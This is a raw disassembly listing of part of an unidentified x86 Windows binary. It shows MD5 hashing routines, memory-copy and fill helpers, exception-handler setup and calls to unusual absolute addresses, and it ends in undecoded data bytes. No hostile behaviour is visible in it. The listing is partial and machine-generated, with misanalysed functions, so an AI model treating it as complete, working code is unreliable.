sub_434A00+30j lea eax, [ebx+8] push eax call sub_4010C3 add esp, 4 pop esi loc_434A6C: ; CODE XREF: sub_434A00+13j ; sub_434A00+18j ... mov eax, [ebx] push eax call near ptr 2730000h nop cmp [ebx+4], ebp jz short loc_434A86 lea ecx, [ebx+8] push ecx call sub_402252 add esp, 4 loc_434A86: ; CODE XREF: sub_434A00+78j push ebx nop call near ptr 77C2C21Bh add esp, 4 loc_434A90: ; CODE XREF: sub_434A00+Aj pop ebp xor eax, eax pop ebx retn sub_434A00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434AD0 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_5103B4 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] cmp esi, eax jz short loc_434AF4 call sub_4012E4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_434B03 pop esi mov eax, 2 pop ebx retn ; --------------------------------------------------------------------------- loc_434AF4: ; CODE XREF: sub_434AD0+11j push eax call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_434B03 mov eax, ebx loc_434B03: ; CODE XREF: sub_434AD0+1Aj ; sub_434AD0+2Fj push edi xor edi, edi test esi, esi jz short loc_434B65 test eax, eax jz short loc_434B52 mov ecx, [esi+4] test ecx, ecx jz short loc_434B52 test ebx, ebx jz short loc_434B52 mov ecx, [eax+80h] test ecx, ecx mov [esp+0Ch+arg_0], ecx jz short loc_434B3D loc_434B27: ; CODE XREF: sub_434AD0+65j cmp [ecx+8], esi jz short loc_434B39 mov ecx, [ecx+0Ch] test ecx, ecx mov [esp+0Ch+arg_0], ecx jnz short loc_434B27 jmp short loc_434B3D ; --------------------------------------------------------------------------- loc_434B39: ; CODE XREF: sub_434AD0+5Aj test ecx, ecx jnz short loc_434B52 loc_434B3D: ; CODE XREF: sub_434AD0+55j ; sub_434AD0+67j push esi push eax lea eax, [esp+14h+arg_0] push eax call sub_401DDE mov edi, eax add esp, 0Ch test edi, edi jnz short loc_434B65 loc_434B52: ; CODE XREF: sub_434AD0+3Cj ; sub_434AD0+43j ... mov ecx, [esi] push ebx push ecx nop call near ptr 2750000h test eax, eax jnz short loc_434B65 mov edi, 0Bh loc_434B65: ; CODE XREF: sub_434AD0+38j ; sub_434AD0+80j ... mov eax, edi pop edi pop esi pop ebx retn sub_434AD0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_434BA0 proc near ; CODE XREF: sub_401190j push ebx push esi push edi nop call near ptr 27C07F2h mov esi, eax call sub_438250 sub_434BA0 endp ; --------------------------------------------------------------------------- dd 448BF88Bh, 88B1024h, 0BEE1E851h, 5690022Eh, 0E890D88Bh dd 22EC0C4h, 36CAE857h, 8B5F0000h, 0C35B5EC3h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_434BF0 proc near ; CODE XREF: sub_401A69j arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx mov [eax+14h], ecx mov [eax+10h], ecx mov dword ptr [eax], 67452301h mov dword ptr [eax+4], 0EFCDAB89h mov dword ptr [eax+8], 98BADCFEh mov dword ptr [eax+0Ch], 10325476h retn sub_434BF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434C30 proc near ; CODE XREF: sub_401C26j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esp+10h+arg_8] mov ecx, [esi+10h] mov eax, ecx lea edx, ds:0[edi*8] shr eax, 3 lea ecx, [ecx+edi*8] and eax, 3Fh cmp ecx, edx mov [esi+10h], ecx jnb short loc_434C5B inc dword ptr [esi+14h] loc_434C5B: ; CODE XREF: sub_434C30+26j mov ebx, [esi+14h] mov ecx, edi shr ecx, 1Dh add ebx, ecx mov [esi+14h], ebx mov ebx, 40h sub ebx, eax cmp edi, ebx jb short loc_434CB9 mov edx, [esp+10h+arg_4] push ebx lea eax, [eax+esi+18h] push edx push eax call sub_435A30 lea ecx, [esi+18h] push ecx push esi call sub_434DA0 mov ebp, ebx add ebx, 3Fh add esp, 14h cmp ebx, edi jnb short loc_434CB5 loc_434C99: ; CODE XREF: sub_434C30+83j mov edx, [esp+10h+arg_4] lea eax, [edx+ebx-3Fh] push eax push esi call sub_434DA0 add ebx, 40h add esp, 8 add ebp, 40h cmp ebx, edi jb short loc_434C99 loc_434CB5: ; CODE XREF: sub_434C30+67j xor eax, eax jmp short loc_434CBB ; --------------------------------------------------------------------------- loc_434CB9: ; CODE XREF: sub_434C30+41j xor ebp, ebp loc_434CBB: ; CODE XREF: sub_434C30+87j mov ecx, [esp+10h+arg_4] sub edi, ebp add ebp, ecx push edi lea edx, [eax+esi+18h] push ebp push edx call sub_435A30 add esp, 0Ch pop edi pop esi pop ebp pop ebx retn sub_434C30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434D10 proc near ; CODE XREF: sub_402176j var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 8 lea eax, [esp+8+var_8] push esi push edi mov edi, [esp+10h+arg_4] push 8 lea esi, [edi+10h] push esi push eax call sub_435950 mov eax, [esi] add esp, 0Ch shr eax, 3 and eax, 3Fh mov ecx, 38h cmp eax, 38h jb short loc_434D43 mov ecx, 78h loc_434D43: ; CODE XREF: sub_434D10+2Cj sub ecx, eax push ecx push offset aA ; "" push edi call sub_401C26 lea ecx, [esp+1Ch+var_8] push 8 push ecx push edi call sub_401C26 mov edx, [esp+28h+arg_0] push 10h push edi push edx call sub_435950 push 58h push 0 push edi call sub_435A60 add esp, 30h pop edi pop esi add esp, 8 retn sub_434D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434DA0 proc near ; CODE XREF: sub_434C30+58p ; sub_434C30+73p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 40h mov ecx, [esp+40h+arg_4] push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] push edi push 40h lea edx, [esp+54h+var_40] mov eax, [esi] mov edi, [esi+4] mov ebx, [esi+8] mov ebp, [esi+0Ch] push ecx push edx mov [esp+5Ch+arg_0], eax call sub_4359C0 mov eax, edi mov edx, [esp+5Ch+arg_0] not eax mov ecx, ebx and eax, ebp and ecx, edi or eax, ecx mov ecx, [esp+5Ch+var_40] add eax, ecx lea ecx, [edx+eax-28955B88h] mov edx, edi mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [esp+5Ch+var_3C] add ecx, edx lea edx, [ecx+ebp-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx mov ebp, ecx not edx and edx, edi and ebp, eax or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, ecx lea ebx, [ebx+edx+242070DBh] mov edx, ebx shr edx, 0Fh shl ebx, 11h or edx, ebx add edx, ecx mov ebx, edx and ebp, edx not ebx and ebx, eax or ebx, ebp mov ebp, [esp+5Ch+var_34] add ebx, ebp lea ebx, [edi+ebx-3E423112h] mov edi, ebx shl edi, 16h shr ebx, 0Ah or edi, ebx mov ebx, edx add edi, edx mov [esp+5Ch+arg_0], edi mov ebp, [esp+5Ch+arg_0] not edi and edi, ecx and ebx, ebp mov ebp, [esp+5Ch+var_30] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea eax, [eax+edi-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax add edi, ebx mov eax, edi and ebp, edi not eax and eax, edx or eax, ebp mov ebp, [esp+5Ch+var_2C] add eax, ebp lea ecx, [ecx+eax+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, edi mov ecx, eax mov ebp, eax not ecx and ecx, ebx and ebp, edi or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, eax lea edx, [edx+ecx-57CFB9EDh] mov ecx, edx shr ecx, 0Fh shl edx, 11h or ecx, edx add ecx, eax mov edx, ecx and ebp, ecx not edx and edx, edi or edx, ebp mov ebp, [esp+5Ch+var_24] add edx, ebp lea ebx, [ebx+edx-2B96AFFh] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx mov ebx, ecx add edx, ecx mov [esp+5Ch+arg_0], edx mov ebp, [esp+5Ch+arg_0] not edx and edx, eax and ebx, ebp mov ebp, [esp+5Ch+var_20] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edi, [edi+edx+698098D8h] mov edx, edi shr edx, 19h shl edi, 7 or edx, edi add edx, ebx mov edi, edx and ebp, edx not edi and edi, ecx or edi, ebp mov ebp, [esp+5Ch+var_1C] add edi, ebp lea eax, [eax+edi-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi not eax mov ebp, edi and eax, ebx and ebp, edx or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, edi lea ecx, [ecx+eax-0A44Fh] mov eax, ecx shr eax, 0Fh shl ecx, 11h or eax, ecx add eax, edi mov ecx, eax and ebp, eax not ecx and ecx, edx or ecx, ebp mov ebp, [esp+5Ch+var_14] add ecx, ebp lea ebx, [ebx+ecx-76A32842h] mov ecx, ebx shl ecx, 16h shr ebx, 0Ah or ecx, ebx mov ebx, eax add ecx, eax mov [esp+5Ch+arg_0], ecx mov ebp, [esp+5Ch+arg_0] not ecx and ecx, edi and ebx, ebp mov ebp, [esp+5Ch+var_10] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ebx lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx add ecx, ebx mov edx, ecx and ebp, ecx not edx and edx, eax or edx, ebp mov ebp, [esp+5Ch+var_C] add edx, ebp lea edi, [edi+edx-2678E6Dh] mov edx, edi shr edx, 14h shl edi, 0Ch or edx, edi add edx, ecx mov ebp, edx mov edi, edx not ebp and edi, ecx and ebx, ebp or edi, ebx mov ebx, [esp+5Ch+var_8] add edi, ebx mov ebx, edx lea eax, [eax+edi-5986BC72h] mov edi, eax shr edi, 0Fh shl eax, 11h or edi, eax add edi, edx mov eax, edi and ebx, edi not eax mov [esp+5Ch+arg_4], eax and eax, ecx or eax, ebx mov ebx, [esp+5Ch+var_4] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax+49B40821h] mov eax, ebx shl eax, 16h shr ebx, 0Ah or eax, ebx mov ebx, edx add eax, edi mov [esp+5Ch+arg_0], eax and ebx, eax mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_3C] or ebx, eax add ebx, ebp mov ebp, edi lea ecx, [ecx+ebx-9E1DA9Eh] mov ebx, [esp+5Ch+arg_0] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, [esp+5Ch+arg_4] add eax, ebx and ecx, ebx and ebp, eax or ecx, ebp mov ebp, [esp+5Ch+var_28] add ecx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edx, [edx+ecx-3FBF4CC0h] and ebx, eax mov ecx, edx shr ecx, 17h shl edx, 9 or ecx, edx add ecx, eax mov edx, ecx and edx, ebp mov ebp, [esp+5Ch+var_14] or ebx, edx add ebx, ebp lea edi, [edi+ebx+265E5A51h] mov edx, edi shr edx, 12h shl edi, 0Eh or edx, edi mov edi, eax add edx, ecx not edi mov ebx, edx and edi, ecx and ebx, eax or edi, ebx mov ebx, [esp+5Ch+var_40] add edi, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edi-16493856h] mov edi, ebx shl edi, 14h shr ebx, 0Ch or edi, ebx mov ebx, ecx add edi, edx mov [esp+5Ch+arg_0], edi mov edi, ecx mov ebp, [esp+5Ch+arg_0] not edi and edi, edx and ebx, ebp mov ebp, [esp+5Ch+var_2C] or edi, ebx add edi, ebp mov ebx, [esp+5Ch+arg_0] lea eax, [eax+edi-29D0EFA3h] mov edi, eax shr edi, 1Bh shl eax, 5 or edi, eax mov eax, edx add edi, ebx not eax mov ebp, edx and eax, ebx and ebp, edi or eax, ebp mov ebp, [esp+5Ch+var_18] add eax, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea ecx, [ecx+eax+2441453h] and ebx, edi mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx add eax, edi mov ecx, eax and ecx, ebp mov ebp, [esp+5Ch+var_4] or ebx, ecx add ebx, ebp lea edx, [edx+ebx-275E197Fh] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, edi add ecx, eax not edx mov ebx, ecx and edx, eax and ebx, edi or edx, ebx mov ebx, [esp+5Ch+var_30] add edx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+edx-182C0438h] mov edx, ebx shl edx, 14h shr ebx, 0Ch or edx, ebx mov ebx, eax add edx, ecx mov [esp+5Ch+arg_0], edx mov edx, eax mov ebp, [esp+5Ch+arg_0] not edx and edx, ecx and ebx, ebp mov ebp, [esp+5Ch+var_1C] or edx, ebx add edx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, ecx lea edi, [edi+edx+21E1CDE6h] mov edx, edi shr edx, 1Bh shl edi, 5 or edx, edi mov edi, ecx add edx, ebx not edi and edi, ebx and ebp, edx or edi, ebp mov ebp, [esp+5Ch+var_8] add edi, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea eax, [eax+edi-3CC8F82Ah] and ebx, edx mov edi, eax shr edi, 17h shl eax, 9 or edi, eax add edi, edx mov eax, edi and eax, ebp mov ebp, [esp+5Ch+var_34] or ebx, eax add ebx, ebp lea ecx, [ecx+ebx-0B2AF279h] mov eax, ecx shr eax, 12h shl ecx, 0Eh or eax, ecx mov ecx, edx add eax, edi not ecx mov ebx, eax and ecx, edi and ebx, edx or ecx, ebx mov ebx, [esp+5Ch+var_20] add ecx, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+ecx+455A14EDh] mov ecx, ebx shl ecx, 14h shr ebx, 0Ch or ecx, ebx mov ebx, edi add ecx, eax mov [esp+5Ch+arg_0], ecx mov ecx, edi mov ebp, [esp+5Ch+arg_0] not ecx and ecx, eax and ebx, ebp mov ebp, [esp+5Ch+var_C] or ecx, ebx add ecx, ebp mov ebx, [esp+5Ch+arg_0] mov ebp, eax lea edx, [edx+ecx-561C16FBh] mov ecx, edx shr ecx, 1Bh shl edx, 5 or ecx, edx mov edx, eax add ecx, ebx not edx and edx, ebx and ebp, ecx or edx, ebp mov ebp, [esp+5Ch+var_38] add edx, ebp mov ebp, [esp+5Ch+arg_0] not ebx lea edi, [edi+edx-3105C08h] and ebx, ecx mov edx, edi shr edx, 17h shl edi, 9 or edx, edi add edx, ecx mov edi, edx and edi, ebp mov ebp, [esp+5Ch+var_24] or ebx, edi add ebx, ebp lea eax, [eax+ebx+676F02D9h] mov edi, eax shr edi, 12h shl eax, 0Eh or edi, eax mov eax, ecx add edi, edx not eax mov ebx, edi and eax, edx and ebx, ecx or eax, ebx mov ebx, [esp+5Ch+var_10] add eax, ebx mov ebx, [esp+5Ch+arg_0] lea ebx, [ebx+eax-72D5B376h] mov eax, ebx shl eax, 14h shr ebx, 0Ch or eax, ebx add eax, edi mov ebp, [esp+5Ch+var_2C] mov ebx, edx xor ebx, edi xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_20] lea ecx, [ecx+ebx-5C6BEh] mov ebx, ecx shr ebx, 1Ch shl ecx, 4 or ebx, ecx mov ecx, edi add ebx, eax xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_14] lea ecx, [edx+ecx-788E097Fh] mov edx, ecx shr edx, 15h shl ecx, 0Bh or edx, ecx add edx, ebx mov ecx, edx xor ecx, eax xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_8] lea ecx, [edi+ecx+6D9D6122h] mov edi, ecx shr edi, 10h shl ecx, 10h or edi, ecx mov ecx, edx add edi, edx xor ecx, edi mov [esp+5Ch+arg_0], ecx xor ecx, ebx add ecx, ebp mov ebp, [esp+5Ch+var_3C] lea eax, [eax+ecx-21AC7F4h] mov ecx, eax shl ecx, 17h shr eax, 9 or ecx, eax mov eax, [esp+5Ch+arg_0] add ecx, edi xor eax, ecx add eax, ebp mov ebp, [esp+5Ch+var_30] lea ebx, [ebx+eax-5B4115BCh] mov eax, ebx shr eax, 1Ch shl ebx, 4 or eax, ebx mov ebx, edi add eax, ecx xor ebx, ecx xor ebx, eax add ebx, ebp mov ebp, [esp+5Ch+var_24] lea edx, [edx+ebx+4BDECFA9h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, eax mov edx, ebx xor edx, ecx xor edx, eax add edx, ebp lea edi, [edi+edx-944B4A0h] mov edx, edi shr edx, 10h shl edi, 10h or edx, edi mov edi, ebx add edx, ebx xor edi, edx mov ebp, edi xor ebp, eax add ebp, [esp+5Ch+var_18] lea ebp, [ecx+ebp-41404390h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_C] add ecx, edx xor edi, ecx add edi, ebp mov ebp, [esp+5Ch+var_40] lea edi, [eax+edi+289B7EC6h] mov eax, edi shr eax, 1Ch shl edi, 4 or eax, edi mov edi, edx add eax, ecx xor edi, ecx xor edi, eax add edi, ebp mov ebp, [esp+5Ch+var_34] lea ebx, [ebx+edi-155ED806h] mov edi, ebx shr edi, 15h shl ebx, 0Bh or edi, ebx add edi, eax mov ebx, edi xor ebx, ecx xor ebx, eax add ebx, ebp lea edx, [edx+ebx-2B10CF7Bh] mov ebx, edx shr ebx, 10h shl edx, 10h or ebx, edx mov edx, edi add ebx, edi xor edx, ebx mov ebp, edx xor ebp, eax add ebp, [esp+5Ch+var_28] lea ebp, [ecx+ebp+4881D05h] mov ecx, ebp shl ecx, 17h shr ebp, 9 or ecx, ebp mov ebp, [esp+5Ch+var_1C] add ecx, ebx xor edx, ecx add edx, ebp lea edx, [eax+edx-262B2FC7h] mov eax, edx shr eax, 1Ch shl edx, 4 or eax, edx mov edx, ebx add eax, ecx xor edx, ecx xor edx, eax add edx, [esp+5Ch+var_10] lea edi, [edi+edx-1924661Bh] mov edx, edi shr edx, 15h shl edi, 0Bh or edx, edi add edx, eax mov edi, edx xor edi, ecx xor edi, eax add edi, [esp+5Ch+var_4] lea ebx, [ebx+edi+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, eax add ebx, [esp+5Ch+var_38] lea ecx, [ecx+ebx-3B53A99Bh] mov ebx, ecx shl ebx, 17h shr ecx, 9 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_40] lea eax, [eax+ecx-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_24] lea edx, [edx+eax+432AFF97h] mov eax, edx shr eax, 16h shl edx, 0Ah or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_8] lea edi, [edi+edx-546BDC59h] mov edx, edi shr edx, 11h shl edi, 0Fh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_2C] lea ebx, [ebx+edi-36C5FC7h] mov edi, ebx shl edi, 15h shr ebx, 0Bh or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_10] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_34] lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_435A60 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_434DA0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435950 proc near ; CODE XREF: sub_434D10+14p ; sub_434D10+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_435997 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43596A: ; CODE XREF: sub_435950+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43596A pop esi loc_435997: ; CODE XREF: sub_435950+7j pop edi retn sub_435950 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4359C0 proc near ; CODE XREF: sub_434DA0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_435A0A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4359DD: ; CODE XREF: sub_4359C0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4359DD pop edi pop esi loc_435A0A: ; CODE XREF: sub_4359C0+7j pop ebp retn sub_4359C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A30 proc near ; CODE XREF: sub_434C30+4Ep ; sub_434C30+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_435A4C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_435A43: ; CODE XREF: sub_435A30+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_435A43 loc_435A4C: ; CODE XREF: sub_435A30+7j pop esi retn sub_435A30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435A60 proc near ; CODE XREF: sub_434D10+60p ; sub_434DA0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_435A8E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_435A8E: ; CODE XREF: sub_435A60+6j retn sub_435A60 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_435AA0 proc near ; CODE XREF: sub_401C21j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_435AA0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_435AA0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_435B90: ; CODE XREF: ___:loc_401F3Cj push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43D116 push eax mov eax, 16D4h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_436148 push 80h mov dword ptr [esp+1Ch], 800h nop call near ptr 77C2C407h add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_444600 ; " " push 1 push eax call sub_4016B8 push 800h mov dword ptr [esp+16F0h], 0 call sub_437AEA ; --------------------------------------------------------------------------- db 8Bh dd 51172C1Dh, 4C48300h, 0B9F88Bh, 33000002h, 0D43D89C0h dd 0F3005103h, 7784BEABh, 4E8B0044h, 4C8D51FCh, 2DE85024h dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004445h, 1A59E890h, 0B9001Ch, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0D8BF0000h, 0F3005103h dd 3D4A1ABh, 4C8D0051h, 948D1824h, 6E424h, 0C75100h, 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D2068h dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D807568h, 0BB39E800h, 